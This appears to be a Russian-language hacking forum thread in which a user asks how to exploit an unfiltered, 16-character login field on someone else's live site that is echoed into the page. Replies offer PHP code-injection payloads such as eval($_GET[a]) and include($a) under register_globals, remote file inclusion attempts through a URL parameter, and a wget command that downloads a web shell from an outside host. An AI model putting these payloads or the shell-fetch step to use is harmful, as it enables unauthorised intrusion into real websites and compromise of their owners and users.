На одном ресе обнаружил такую штуку: когда входишь на сайт то на странице пишется "Привет ЛОГИН". так вот, при регистрации в поле логин никакой фильтрации нет и можно указывать любые символы. Облом лишь в том что обработчик формы не регает логины больше 16 символов! Подскажите как можно использовать эту уязвимость. работает phpinfo() sleep(), а больше не хватает у меня ни фантазии ни символов
PHP: include($_GET['a']) Вроде же. Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса. Или я видимо ещё незнал об этом. Если твой пример правильный, дико извеняюсь
МБ сам включил и подзабыл(бывает такое дистр сохранил и прям в нем поизменял) ну или в денвер/xamp/прочая нежить был поставлен в on а так с 4.2.0 в офф он по дефолту.
<?eval($_GET[a])?> получается больше 16-ти символов, а <?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt) Это значит конец? 16 символов мало
http://mysite.ru/file.txt По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер
c http результат тот же( &a=http://mysite.ru/primer.php -выводится страница c Hacking attempt! &a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !"
Что значит "а дальше чего"? Дальше сливаем wget'ом и ему подобными шелл, наслаждаемся. ?a=wget+http://google.com/shell.txt если уж совсем не понятно.